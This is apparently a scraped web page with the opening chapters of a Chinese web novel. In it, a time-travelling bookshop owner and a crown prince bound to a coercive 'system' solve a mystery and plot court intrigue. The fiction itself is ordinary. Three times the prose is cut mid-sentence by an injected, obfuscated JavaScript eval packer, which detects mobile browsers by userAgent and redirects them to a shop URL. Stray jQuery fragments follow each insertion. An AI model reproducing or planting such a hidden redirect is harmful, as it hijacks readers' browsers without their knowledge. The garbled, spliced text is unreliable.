《太子妃只想复国》 1. 系统任务是强抢民女 “太子殿下驾到——” 话音一落,枕闲书铺霎时鸦雀无声。 客人们战战兢兢磕头行礼,生怕一个不留神,就被拖出去砍头挖心。 书铺掌柜江御暮从里间走出,恭谨下拜。 太子穆归衡向后摆摆手,护卫即刻清场。众人如逢大赦,作鸟兽散。 偌大的书铺里,便只留下两人。 “起来吧。” 他的声音很清,一如十七八岁的寻常少年,听不出嗜杀的弦外之音。 “本宫听闻枕闲书铺多有奇书,今日得闲,特来瞧瞧。” 江御暮起身让路:“不知殿下喜欢什么书?” 穆归衡强抬起她下巴,迫使她与自己对视。不过掌中垫着衣袖,并未直接碰到她皮肤。 他眉眼俊朗,带着锋利的英气,江御暮却无兴致欣赏,满心都是关于这位储君如何暴戾的民间传闻。 纵然心中厌恶,江御暮仍面不改色,然而他的下一句话,却使她难掩眼中惊讶,露出了破绽。 “《诗经》,可有?” 江御暮胎穿到这个世界已有十八年,对此地的风土人情无比熟悉,自然也知道——这条世界线里,并没有传统意义上的四书五经。 穆归衡似乎对她的反应很满意,露出一抹难以察觉的笑容。 “本宫曾听士子们聊起枕闲书铺,提及姑娘,都说你虽通文墨,但常常在不经意间道出他们闻所未闻的典故。一如邯郸学步、买椟还珠、削足适履……偏巧,这些典故,本宫都听说过。” 语毕,他松开手,江御暮的目光却没有移开,仍与他紧紧相接。 不知是不是她听错了,他的话语带着轻轻颤抖的尾音,含着隐秘的希冀。 “若本宫没有猜错……江姑娘,你,也是异世之人吗?” 江御暮猜测,原来那位瘟神太子已经被穿越者夺舍了,于是大方承认:“正是。” 穆归衡却似不敢轻信,发问确认道:“青青子衿?” 江御暮即刻接上:“悠悠我心。” 穆归衡又问:“与君离别意?” 江御暮对答:“同是宦游人。” 继而腹诽:怎么光问中学语文课本上的东西啊,他穿越前该不会是个语文老师吧? 紧接着,穆归衡的最后一问却是江御暮没听过的诗,虽未回答上来,对方却也没有怀疑什么。 “姑娘,你要不要也考考我?” 江御暮察觉他已经把“本宫”之称换成“我”,便彻底放了心。 然而这一时间,她还真想不到该问点什么。 罢了,左右也是走个流程的事,就问两个最经典的问题吧。 “奇变偶不变?” 穆归衡眉头轻蹙:“什么,机变?” “宫廷玉液酒?” 穆归衡面露惊诧:“姑娘是宫里的人?” 见江御暮没有反驳,他便自顾自猜测起来 “依姑娘之才学,想必不是寻常宫女。宫中又无妃嫔,那便是……女官?” 江御暮没有回答,飞快思索着他话中的线索: 看来,他是个古代人。 宫里没有嫔妃,却有女官,这可不是普遍现象。 再结合他方才提到的典故与诗词,最晚一句也只到初唐。 或许最终答案并不唯一,但此时此刻,江御暮的第一反应便是—— “公子是武周人?” 穆归衡怔愣一瞬:“姑娘不是吗?” 江御暮慢慢摇头,长叹道:“比武周晚一点。” 穆归衡好奇道:“晚多久?” 江御暮看着他一本正经的表情,竟莫名想笑,只得强忍道:“一千多年吧。” 穆归衡惊得深吸一口气,只顾着眨眼,半晌没想出该说点什么。 还是江御暮主动续上话题:“公子来此地多久了?” 依她设想,左不过三五天,至多半个月。 穆归衡却坦言道:“十七年了。” 江御暮的表情霎时僵在脸上。 十七年。 他也是胎穿。 这便意味着,他和传闻中那个瘟神太子实为一人。 那个会挖人心肝喂狗的太子…… 那个会用断骨之声谱曲奏乐的太子…… 那个纳妾无数,却没有一房姬妾能活到第二天的太子…… 都是他,穆归衡。 此刻他因沉浸在惊诧之中,并未注意到江御暮神色微变,于是向她拱手行礼道:“请恕在下唐突,可否邀姑娘入府详叙?” 说完又想起自己风评不佳,连忙补充道:“姑娘放心,只是闲谈而已,在下绝不会冒犯姑娘。” 江御暮虽不信这番说辞,却不能表现出来。 为今之计,也只有暂且答应,随机应变了。 “臣女领旨。” 说完刚要迈步,却见穆归衡仍站在原地,好似在酝酿什么难以启齿的话。 “怎么了,殿下?” 穆归衡迟疑道:“可否请姑娘不要答应得如此爽快?最好反抗反抗……” 江御暮瞳孔地震。 怎么? 他喜欢玩这种花样? 但,她要是认真反抗起来,今天这屋里就至少有一个人没法活着走出去了。 穆归衡自知难以解释,只怕越描越黑。 看来别无他法,唯有实话实说了。 但他又不知该从何讲起,只好把问题抛给对方。 “姑娘,你来到此处后,是否也有一位名唤‘系统’的世外高人,时时给你千里传音。一旦你违背他的命令,就要受蚀骨钻心之痛?” 江御暮顿悟,说人话就是:他穿越后绑定了系统,需要完成许多任务,否则就得接受惩罚。 “我没有。”她摇摇头。 “那你倒比我幸运许多。”穆归衡先松一口气,又蹙眉道,“那厮忒不是东西!心如鬼蜮蛇蝎!” 江御暮犹疑道:“你这样骂它……没关系吗?” “无碍,他习惯了。” 江御暮放松了些,听穆归衡继续说下去,方知那系统是从五年前缠上他的。 仔细回忆回忆,“太子丧心而发狂病”的传言,也正是从五年前开始的。 在那以前,他一直是皇室众多变态皇子里的唯一清流,所以才被立为太子。 即便后来突然“发疯”,皇帝也没有易储之意——反正别的儿子也疯得各有花样,何必多此一举呢?也许,这就是他得位不正的报应吧…… “今日那厮又给我发来任务,题为【强抢民女】,我实在无法破题,才来姑娘这碰碰运气。” 江御暮长“哦”一声。 少倾,书铺内便传来年轻女子的哭声与追逐推搡声。 偶有路人驻足,想查看情况,都被门口的太子护卫吓了回去。 当天晚上,各家各户便有了新的饭后谈资。 “太子的行径愈发离谱,光天化日竟敢强抢民女!” “唉,那姑娘真是可怜,八成活不下来了,也不知是哪家女子这么倒霉。” “听说是枕闲书铺的江掌柜。” “什么!?江掌柜可不是寻常民女啊,太子怎么连她都敢抢!?” 与此同时,户部尚书正在急叩太子府邸大门。 “微臣江淮照,求见太子殿下!” 江淮照毕竟是朝中大员,深得皇帝倚重,太子护卫不敢轻易动他。 不多时,大门缓缓打开,江御暮与穆归衡并肩而立,安然自若,毫无狼狈之态。 江淮照对太子草草行了礼,拒绝他的搀扶,自己站起身来,神色坚毅道:“殿下,请容微臣带小女归家。夜深了,她母亲会担心的。” 穆归衡提出派马车送江家父女回府,又被江淮照拒绝了,只得目送他们自行乘车离去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958038|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江淮照刚坐定就老泪纵横,却一直等到马车驶出很远才敢开口。 “御暮,太子可曾轻慢、欺侮你?” “不曾,父亲放心。” “他抓你入府,到底想做什么?” “只是……想请我帮忙拉拢父亲,希望您能为他所用。” 这自然是她胡编乱造的说辞。 总不能道出实情,说太子佯装强抢民女,只为听她讲后半节中国通史课吧。 除此之外,太子还将他穿越前的身份告诉了她。 “不敢自名游侠客,微命轻羽燕识风。” 燕识风。 倒有点侠客的味道。 然而不知为何,他始终不愿透露被绑系统的更多内情。 江御暮只能根据他做过的几个任务推测,也许是暴君系统?反派系统?杀人放火十恶不赦系统? 正如是想着,江淮照的一声叹息又把她拉出了回忆。 “唉,幸好你安然无恙。否则,让我怎么跟你娘交代啊……” 江御暮垂眸轻笑:“我若连这点自保之力都没有,便也不配做她的女儿了。” 她的母亲,曾是得月国一人之下的长公主啊…… 可十八年前,她胎穿那日,得月国便已不复存在了。 江淮照深深望她一眼,良久,忽然灵光一闪。 “御暮,我若答应太子为他所用,你可有办法,让他为你所用?” 江御暮失笑,继而真诚宽慰:“您不必如此,我自有办法。” 江淮照奇道:“什么办法?” 问完对上她的眼神,又自觉越界,忙告罪道:“是我失言,不该问的。” 说到底,他们并非真正的父女关系,虽连着一层养育之恩,却终究职责有别。 江御暮却没有责怪他的意思,铺垫道:“明日我会赴太子之约,再入其府。” 今天的通史课才讲到土木堡之变,穆归衡急着往后学呢。 “过段时日,民间自有风言风语,父亲无需在意,只要找个合适的时机,给老皇帝吹吹风,帮我哭诉出个太子妃的名分便可。” 江淮照闻言,已然猜到她的长远计划是什么——待太子登基,她便可入主中宫,去父留子,临朝称制,登基复国。 他满眼忧虑,却没有劝阻,因激动而微微颤抖的双手交握行礼,道出了阔别十八载的称呼:“微臣,谨遵殿下之命。” 一片静谧中,马车安稳驶入江府后院。 对街房顶上,一对黑衣主仆跟踪观察许久,终于站定。 主人负手而立,表情玩味:“进了太子府邸,还能活着走出来的女人,她可是第一个。” 随从认真想了想,纠正道:“不对吧殿下,江小姐已经是第一百多个了。您忘了?那些诈死脱籍的太子姬妾……” 主人在他额上狠敲一记:“蠢货!那些女人被送走时,不都已经改换了身份吗?但这位江小姐,可是带着她原本的身份,一起活着走出来了。” 随从揉着脑袋,赔笑道:“嗨,谁让她有个厉害的老爹呢。太子再猖狂,也不敢惹户部尚书啊!” 主人忽而放诞一笑,在寂静的夜里,听着鬼气森森。 “户部尚书也就罢了,他女儿又算个什么东西?太子不敢惹,本王敢!” “您的意思是……?” 主人对随从耳语几句,吓得后者双腿一软,直直跪倒。 “请殿下三思——呃——” 话音未落,随从的脖颈便被死死掐住,窒息感倏地袭来,使他几乎看不清眼前人。 “本王最近是不是太纵容你了?以至于一条摇尾乞怜的狗,都敢三番两次顶撞主人?” 随从想要请罪,却没有机会了。 “真晦气。”主人扔下他的尸体,冷冷道,“还得本王自己动手。” 语毕,他纵身一跃,落地无声,朝江府方向悄然行去。 2. 钻系统漏洞务必严谨 深夜备课,思维导图才总结到九子夺嫡,江御暮就哈欠连天,眯眼偷起懒来。 夜风仿佛与她心有灵犀,霎时将桌上的灯吹灭。 江御暮却猛然睁开双眼。 此屋门窗早已紧闭,夜风何来? 感知到潜藏的危险,江御暮条件反射般闪身躲开。 下一刻,半枚黑色棋子就擦着她耳尖飞过,在身后的墙上留下浅浅坑洞。 江御暮拔出隐在床架里的长剑,斜挡身前。 与此同时,一黑衣面具人背靠窗框,侧身稳坐。 沉默对峙片刻后,黑衣人率先开口,话中带着明显的笑意。 “江小姐怎么不问问,我是何人?” 江御暮面无表情:“你若愿意告知实情,就不会戴面具了。” 黑衣人跃入房间,慢悠悠向她走来,不正经道:“江小姐好歹也是官家贵女,院中怎么连个丫鬟仆从都没有?难道……是特意支开了他们,等着夜会情郎?” 江御暮提剑指向他胸膛:“独居此院,更方便夜斩恶狼。” 黑衣人不慌不忙,从袖中摸出一块玉牌,挂在她剑尖。 江御暮微倾剑身,那玉牌便稳稳滑入她手中。 观其纹样,竟是象征皇子身份的腰牌,却不知是哪位皇子。 江御暮不愿轻信,将腰牌抛回,故意套话道:“有话直说,何必拿你主子的身份压人。” “我主子?”黑衣人略显恼怒,“这天下,有谁配做本王的主子?” 说完又觉出味来,笑言道:“江小姐若真想知道本王是谁,不妨随本王回府,谈谈人生,聊聊风月?” “你也配?” 江御暮冷笑一声,提剑直刺。 黑衣人不料她明知自己是皇子,竟还敢下死手,于是慌忙躲开,被迫迎战,才两个回合便落了下风。 他只擅长暗器与轻功,近距离跟人交起手来毫无优势,何况对方手握长剑,他却赤手空拳。 江御暮自然也没打算真把他怎么样,所以除了第一招带着杀意,意欲震慑,后面几招都在放水。 不论这位王爷是真是假,若死在她闺房里,终究不好收场。 于是她寻机卖个破绽,黑衣人便趁势逃之夭夭。 只留下一句:“江小姐,明日再会。” 江御暮不敢松懈,在各院屋顶巡视一圈,确保府内没有混入恶贼。 谁承想,竟在江二小姐的院中发现了一具尸体。 死者的脸已被划花,难辨面容。一袭朴素黑衣,像是小厮打扮。颈间有明显掐痕,似乎刚死不久。 江御暮搜寻一番,发现他袖中藏着许多白色棋子,都是半枚,右手食指与中指的关节处有对向厚茧。 看来是练暗器时磨出来的,而且与方才那黑衣人师出同门。 难道,是那人的小厮? 可为何会被掐死,还扔在这里? 是恐吓,还是栽赃? 又或者,疯子做事本就不需要理由。 江御暮暂时没有头绪,又担心妹妹发现此事会受到惊吓,便直接背起尸体,趁夜扔到了府衙门口。 次日清晨,她才将此事告知江淮照,劝他找个探亲的借口,把妻子儿女们一起送往涵州亲戚家,暂避风头。 二小姐江唤玥本就极爱涵州风光,亲戚家姐妹们又多,比闷在京城有趣。虽不舍爹爹与姐姐,但远游之乐还是占了上风。 大少爷江连镜却不愿离京,因听闻昨日书铺风波,坚持要留下来保护江御暮免遭太子“毒手”。 结果被她拎出来比试一番,草草落败,只得愿赌服输,前往涵州继续修习武艺。 忙完这些,也到时间该赴太子之约了。 当然,今日除了讲课,江御暮还有一个重要任务——卖惨。 这都要感谢昨晚那位黑衣王爷,给她送来了如此珍贵的素材,不用白不用。 “昨夜有一佩着皇子腰牌的黑衣蒙面人,闯入我闺房之中意图行凶,好在家丁反应及时,才合力将他赶走。” 穆归衡大惊:“姑娘可曾受伤?” 江御暮摇摇头,继而落下泪来:“若家丁晚来一步,只怕我便命丧他手了……” 她穿越前可是大学话剧社的顶梁柱,演哭戏尤其是一绝,轻易便唬住了穆归衡。 他显然没有哄女孩子的经验,只知手忙脚乱地递上帕子供她擦泪,几度开口都欲言又止,生怕说错了话,又引她难过,只得暂时保持沉默,静等她平复心绪。 江御暮诉苦半晌等不到他追问,不由生疑:身为太子,应将其他任何皇子都视为政敌。此刻既然有机会抓住其中一人的把柄,他为何却似不感兴趣呢? 没办法,江御暮只能主动提供线索,拿出昨夜差点击中她的半枚黑色棋子。 “这便是那歹徒所用的暗器,烦请殿下看看,能否据此推测出那人究竟是哪位王爷?” 穆归衡接过棋子仔细观察一番,却带着歉意摇了摇头。 “皇子学武,并无暗器一项。也许有人私下学过,可惜我暂时无从得知。至于这棋,则是市面上最常见的一种,难以追溯其来源。” 江御暮正暗自失望,穆归衡却提出了一个大胆的想法。 “那歹人不是说过‘明日再会’么?姑娘若不介意,我今夜便充当护卫,在你院中把守。他若敢现身,我必生擒之。” 江御暮假意推辞:“怎敢劳动太子殿下大驾?” 心中却道:“好好好,只要你与我多见一面,我便离太子妃之位更近一步。” 穆归衡面露愧意:“这些年来,江府一直风平浪静。可昨日我刚与姑娘相识,当晚便有歹人意图加害于你,疑犯还与皇子有关。想必……你是受我牵连的。我若不全力护你,实在问心有愧。” 江御暮佯装矜持,再度推却:“既如此,殿下派两个得力的护卫来便是了,何必亲自——” 话未说完便被穆归衡打断。 他避着她的目光,黯然问道:“姑娘昨日曾唤我‘公子’,为何后来又改称‘殿下’了?” 江御暮不意他突有此问,顿了顿,半真半假道:“毕竟尊卑有别,臣女自当守礼。” 穆归衡叹息一声,抬眼与她对视,轻声道:“可你我分明各有来处,皆非此世中人,又何必守他们的俗世之礼呢?比起这个身份尊贵,却人人避之不及的穆归衡,我倒更愿意做回那个身在江湖,旧识新交遍天下的燕识风。” 江御暮见他这般坦诚,也不再故作姿态,微笑道:“既如此,今夜就拜托燕少侠帮我看家护院吧。” 少侠之称显然比公子更合他的心意,穆归衡赧然一笑:“在下必不负姑娘所托。” 是夜,穆归衡直接翻墙入院,并未惊动江府众人。 一身花青色圆领袍颇有唐风,同色发带高高束起马尾,利落之余更显飘逸潇洒,然而他紧锁的眉头却破坏了这份景致。 江御暮隔窗相望,不难看出他有心事,于是出言询问。 穆归衡迟疑着踱步到窗边,低声道:“系统那厮……” “又给你发任务了?”江御暮猜道。 穆归衡点点头,却不接着往下说。 江御暮见他一脸为难,顿时生出好奇心:“什么任务如此难以启齿?比昨日的【强抢民女】还难破题吗?” 穆归衡用问句回答问句:“可否借姑娘的玉镯和香粉一用?” 江御暮无力相助:“我不戴手镯,也不用香粉。” 习武之人,腕上戴首饰实在累赘。若用香粉,则更容易暴露行踪。 穆归衡又问:“可有其他玉饰或熏香?或者不拘什么物件,只要是玉质的,或带香的便可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958039|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江御暮想了想,大方拔下发间的簪子递给他,不顾如瀑青丝散落开来。 “这簪身的材质叫樒香木,簪头嵌着一块白玉,可算既带香,也带玉?” 穆归衡接过发簪,道了声谢,紧接着却脸色一变。 江御暮会意:“系统说什么了?” 穆归衡一脸无辜:“那厮说,就算我这次又要钻空子蒙混过关,也必须钻得严谨……” 江御暮不解:“怎么才算严谨?” 穆归衡双手递回发簪:“烦请姑娘把它放在桌上,出屋稍待片刻,让我把它偷走,明日归还。” 江御暮正要照做,朝书桌方向走去几步,忽又折返回窗边,打趣道:“等等,你这次的任务,不会是【窃玉偷香】吧?” 夜风轻轻吹动她如墨青丝,弦月映在她明亮的眸中,散作点点星光。 穆归衡心中一跳,连忙掩上窗扇,阻隔她揶揄的眼神。 悔哉!接到这个任务时,就不该多嘴询问系统“窃玉偷香”到底是何典故!《西厢记》害他不浅! 江御暮见状便知自己猜对了,不觉更加疑惑——他绑的到底是什么系统?她迟早得弄个清楚! 将发簪放在书桌上后,屋内外两人便换了位子。 江御暮才走进院里,还未来得及环顾四周,便有一物从斜上方飞来。 余光看那物什尺寸不小,并不像暗器,江御暮下意识伸手去接。 原来,竟是一册书。 几乎与此同时,穆归衡也完成了任务,推门而出欣喜道:“多谢姑娘相助!” 江御暮转过身来,看着他轻声道:“昨夜之人,方才已经来过了。” 他扔来的书是一册话本,有半枚黑色棋子夹在里头,充作书签。 翻到棋子所在那两页,才子佳人的故事略显老套,唯有书生角色的一句话语被红色墨汁涂过。 “姑娘有客,小生明日再行拜访。” 不,不是红墨。 是血。 新鲜的,尚未干透的,泛着腥气的血。 “访”字末端,还留着割指取血那人模糊不清的半枚指纹。 穆归衡见状自责道:“是我失职,只顾着自己的私事,竟未察觉歹人就在周围。” 江御暮摇摇头:“无事,左右他也没伤着我。” 第二次了,连她自己都没有察觉那人是何时来的,可见其轻功绝佳。 “姑娘你瞧,这第一页被人撕了!”穆归衡翻着书道。 江御暮觉得奇怪。第一页能有什么关键信息?左不过是此书采用何版,刻印于何年何月何地,尺寸几何…… 诶,等等! 江御暮仔细一瞧——原来此书不是刻本,是抄本! 或许被撕去的第一页,有抄录此书之人的署名! “抄录书籍费时费力,所得抄本无外乎收藏、传阅、赠礼几条去路。” 穆归衡与她想到一处,提供线索道:“我认得所有皇子的笔迹,都与此书不同。” 可见不是自己抄来收藏的。 再考虑到此书内容特殊,多半不会有人与皇子互相传阅。 “那这书……便是别人送给他的了?”江御暮思忖道,“既然书里都是才子佳人的故事,想来抄录此书之人,多半是位女子。你闻,这书还用香粉熏过呢。” 穆归衡接过书,疾速翻动嗅那香气,却见密密麻麻的娟秀小字中,藏着两页图画。 翻回去一看,霎时一惊。 江御暮方才被香粉味呛到鼻子,背过身去打了个喷嚏。现下也凑过来想看,穆归衡却急忙将书合了起来。 “今日天色已晚,姑娘还是早些歇息吧。” 他顶着她狐疑的目光,赧颜说道。 “明日下了早朝,我便带你去找能解此书谜团之人。” 3. 是登门入榻的奇招吗 次日上午,京郊河畔。 江穆二人共乘一辆马车,赶往二十里外的双瑛布庄。 护院们见到太子车架,连忙迎上来将二人扶下马车,而后跪拜行礼,询问来意。 穆归衡面无表情道:“本宫此行,是为拜访你家林庄主。” 众人闻言,互相交换几个为难的眼神,半晌才有一个胆子大些的答话道:“回禀殿下,庄、庄主近日去瑾州谈生意了,要过、过些时日才能回来。” 穆归衡不悦皱眉:“那庄主夫人呢,可在庄中?” 护院不敢撒谎:“在、在。” 却又怕太子对庄主夫人欲行不轨,想找个借口打消他的念头,于是信口编道:“但夫人她身体抱恙,得了……风寒!郎中说,这病是会过人的……” “无妨。”穆归衡打断他道,“为本宫带路吧。” 护院心中一凉,拖延道:“烦请殿下稍待片刻,小的们先去叫夫人起床梳妆。免得她病容憔悴,碍了殿下的眼。” 实际却是想借机通知庄主夫人赶紧跑路,别落到太子手里。 穆归衡摆摆手放他离去,继而斜睨其余几人,冷冷道:“你们就打算让本宫在这等着?” 众人连忙行礼赔罪,将江穆二人引至前院正厅。煮茶的煮茶,切果的切果,各找借口逃远了。 江御暮这才找到机会讲话:“今日又有系统任务?” 穆归衡摇头:“暂无。” 江御暮不解:“那你为何盛气凌人?瞧把他们吓的,平地走路都快摔跟头了。” 穆归衡无奈解释:“姑娘有所不知。系统那厮除了不定期发来各种伤天害理的任务以外,还对我平日的言行举止有种种约束。一旦我以平和良善之面目示人,便要受骨痛咳血之罚。” “可你在我面前……” 穆归衡猜到她想问什么,直接答道:“起初我也百思不得其解,后来想想,大约因为你并非此世中人,我才能以真面目示于你,而不必受罚。” 江御暮仍觉得说不通——她是胎穿,又不是夺舍,除了比旁人多一世记忆外,与他们并无本质不同,难道也算“非此世中人”吗? 思索间,恰有一名小厮端来两杯热茶。 穆归衡一反常态对他温和一笑:“多谢。” 小厮还未反应过来,就见穆归衡轻抿一口茶水,然后猛地咳嗽起来,须臾便咳出一口鲜血,继而右手一颤,将茶盏摔得粉碎。 小厮惊惧交加,霎时便哭着跪地求饶,自言无辜。 穆归衡想挥挥手让他下去,却因全身骨骼剧痛而难以动弹,额头渗出细密的薄汗。 江御暮下意识握住他的手以示安抚,扭头对小厮道:“不干你的事,别怕,下去吧。” 接着又对穆归衡道:“你何必如此折腾自己?” “怕你……不、不信……”他强挤出一点微笑,“故、故……” “好了好了,别说话,我信,我信了!” 两人双手紧紧握在一起,穆归衡自觉不妥,却没有力气推开。渐渐发现被她握着的地方减轻了痛楚,又出于本能,变得不舍推开。 待庄主夫人走进前厅,看到的便是江穆二人紧挨彼此,近乎相拥的景象。 “咳,咳。” 她憋着笑轻咳两声,示意自己已经来了。 定睛一看,却见穆归衡面色苍白,唇角渗血,连忙走近查看。抬眼对上江御暮关切的眼神,又轻松一笑道:“姑娘别担心,他这是老毛病了,死不了的。” 江御暮点点头,猜测这位二十余岁的盘发女子便是庄主夫人。 她正想打个招呼,就听穆归衡闷闷道:“大胆刁妇,见了本宫,为何不拜?” 庄主夫人仍是一副笑脸:“忘了忘了,这就拜。” 说完曲起三根手指,在桌上敲击三下。 “拜完了,说吧,找我什么事?” 穆归衡的骨痛已经减轻许多,声音也稳了下来。 他从怀中掏出昨夜那册话本,交给庄主夫人,语气不善道:“去问问庄里的女子,有谁认得这书上的香粉气味,或字迹图画,统统带来见本宫。” 庄主夫人领命而去,走出几步又折回来,在桌上再敲三下,笑道:“差点又忘了行礼,告退告退。” 等待期间,穆归衡对江御暮解释了他此行的用意。 她这才知道“太子纳妾无数,却没有一房姬妾能活到第二天”的传闻始末。 一年前,系统曾给穆归衡发来【好色之徒】任务,限时百日,要求他找满百位姬妾侍寝。 无法,他只得每天从花楼乐坊里赎出一个女子,抬入府中纳为姬妾。至于“侍寝”,则被他找到漏洞,偷换概念为“叠被铺床”。 系统计数后,他便对外称姬妾暴毙,暗中将那些女子送到故友执掌的双瑛布庄,各找活计。 而昨夜那册书上的香粉味,穆归衡隐隐觉得熟悉,似乎在那百名姬妾里出现过,所以今日才来这里寻找线索。 不多时,庄主夫人便带来一位名唤兰心的清丽女子,盈盈下拜。 “回禀殿下,民女也曾用过这种香粉,是礼部刘侍郎家的二公子所赠,据说是他亲自配制研磨的。而这书中所绘的春宫图,也像刘公子的手笔。至于字迹……民女并不识字,所以无法辨别。” “春宫图?” 江御暮抓住了奇怪的重点,猛地扭头看向穆归衡,却见他心虚般移开目光。 怪不得他昨晚拦着她不让看,原来里头画的是这种图! 啧,古代人,就是保守些。 不过他毕竟是太子,在外面,该给的面子还是得给。江御暮一直忍到坐上回京的马车,才出言调侃。 穆归衡不接她的话茬,红着耳尖转移话题道:“看来咱们此前的推测方向有误,也许这书是刘家二公子送给那蒙面人的。” 江御暮拧眉道:“一个男人,给皇子送这种书?还图文并茂的……” 穆归衡苦涩撇嘴:“男人又如何?总有妄图攀附皇子之流,为登门入榻各出奇招。也许这书……便是他的奇招呢?” 江御暮不敢苟同:“若真如此,他为何要抄录这些才子佳人的故事?换成龙阳断袖不是更好?” 穆归衡无法反驳。 二人沉默对坐,苦思半晌,待马车行至近郊湖边,忽然听到一阵缥缈悠远的丝竹乐声。 掀开车帘,只见湖上几艘游船绕亭而聚,有人抚琴,有人高歌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958040|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人饮酒,有人吟诗。 江穆二人对视一眼。 “今日是十五?” “正赶上士子们每月举行一次的游湖诗会?” 两人动作如出一辙,齐齐向湖上看去。 刘侍郎的二公子,刘俭,会在人群之中吗? 距离太远,看不清。 于是二人下车雇船,向湖心亭划去。 湖心众人见又有船来,便依照惯例各移几寸,给来者让出位置。 “呦,这不是枕闲书铺的江掌柜吗?”有人认出了立于船头的江御暮,迎上前来。 “人家可是户部尚书的千金,兄台难道不知?该称一句江大小姐才对!”有人不甘示弱,拍起马屁。 “小姐小心,游船不稳。”有人后来居上,率先向她伸出手来。 一张张面孔都是笑着的,无论清醒的,还是微醺的,醉态尽显的。 可是下一刻,他们的笑容又都僵在了脸上。 何故? “参见太子殿下!” 穆归衡走出船舱,板着脸,在杂乱无章的行礼声中与江御暮并肩而立。 半晌等不到“免礼平身”之语,便有醉酒无畏之人抬头偷看。 只见穆归衡剑眉紧蹙,在江御暮耳边私语几句,似有怒气。 这人三分酒意霎时被吓醒,心中暗道:不好!想必是方才那几人对江小姐过于殷勤,引得太子殿下不悦了!这短短几句耳语,也不知定了几人之生,几人之死…… 他哪里猜得到,穆归衡皱眉是因为又接到了系统发来的任务,面带怒意是因为那任务实在居心不良。 “什么任务?”江御暮问。 “题为……【恋酒贪色】。”穆归衡艴然不悦,“这次只怕难钻空子,那厮甚至划定了任务地点与时限,就在这湖心亭中,诗会结束以前。” 此处只有江御暮一名女子,系统发来这个任务,岂非逼他当众冒犯于她? “你若完不成任务,系统会降下何种惩罚?”她问。 “据往日的经历推测……大约比今日布庄之痛,更胜百倍。”他答。 江御暮佯装愁眉不展,其实心中已有计较:“离诗会结束还有几个时辰,咱们先入座吧。【恋酒】一项并不难达成,至于【贪色】……谁说一定是女色了?春色、颜色、湖光山色,有许多空子可钻呢!” 穆归衡觉得有理,便也不再杞人忧天。 转念一想,又觉得奇怪:破题之法明明不难想到,自己方才怎么就乱了阵脚呢? 还未想出答案,便听亭中有人惊呼一声。 “啊——死人!有死人!” 江穆二人顺着那人所指的方向看过去,不远处的荷叶丛中果然浮着一具尸体。 方才众人不是站在船上,就是坐在亭中,受视角所限,放眼望去便是密不透风的片片荷叶,因而没有发觉。 如今纷纷跪地行礼,目光几乎与水面持平,这才察觉异样。 得了太子首肯,便有胆大之人划船过去查看情况。 少倾,那人原路返回,面色铁青。 “死者是谁,你可认得?” “是……是礼部刘侍郎家的二少爷,刘俭……” 4. 太子是张三还是李四 刘俭死了。 偏巧死在线索查到他头上的时候。 一时局面大乱,有不少人驾船欲走,皆被穆归衡喝止。 “都回亭中去!有敢私逃者,格杀勿论!” 众人惴惴不安,只得照做。 江御暮唱起红脸,温柔问道:“今日诗会,这位刘俭公子可曾受邀前来?” 近处有人答道:“来、来过。因来得迟了,还被罚酒三杯,作诗三首。而后许是不胜酒力,便回他自己的游船上,赏湖光取乐去了。” 穆归衡唱白脸,严肃道:“把他的诗稿取来给本宫验看。” 众人得令,各司其职。桌边人飞速翻找出刘俭的诗稿,一人递一人接,击鼓传花般送到穆归衡手中,而后又如避瘟神一般躲开。 江穆二人仔细辨认,双双确信,这诗稿与那春宫话本上的字迹同出一人之手。 江御暮接着问:“刘公子的船上可还有别人?” “这……我等未曾亲眼瞧见,不敢妄下定论。但……那船身尺寸偏大。对了,和您二位雇的船同属一种!我想,他若是一人前来,大可只雇一艘小船,划着省力不说,还便宜些。” 江穆二人回身望去,自己这艘船的门檐上镶着一个木牌,上有“游景寻芳”四字。 想是每艘船都有同样的木牌,漆着不同的字,用以区别,方便登记。 “刘俭所雇游船的木牌上刻着何字,可有人记得?”穆归衡问。 众人支支吾吾,没人敢做出头鸟。 江御暮开始画饼:“若有人答得出来,太子殿下重重有赏。若因记忆不清,答得有所偏差,亦属情有可原,殿下不会处罚的。” 众人闻言,纷纷抬眼观察,见穆归衡面露赞许之意,便稍稍放心。 同时也用眼神无声交流,彼此传递着心照不宣的感叹:真想不到,前两日才被强抢入府的江姑娘,今日便能在太子身边混得如鱼得水。看来,太子妃之位已是她的囊中之物了…… 有她在场安抚太子的情绪,众人便少了许多顾虑,七嘴八舌回答起来。 “我记得,好像是‘梦人’什么什么的……” “兄台此言差矣,前两个字分明是‘梦入’。” “喔,我想起来了,后两个字是‘远由’!” “不不不,是‘远岫’才对,小山字有些掉漆了。” 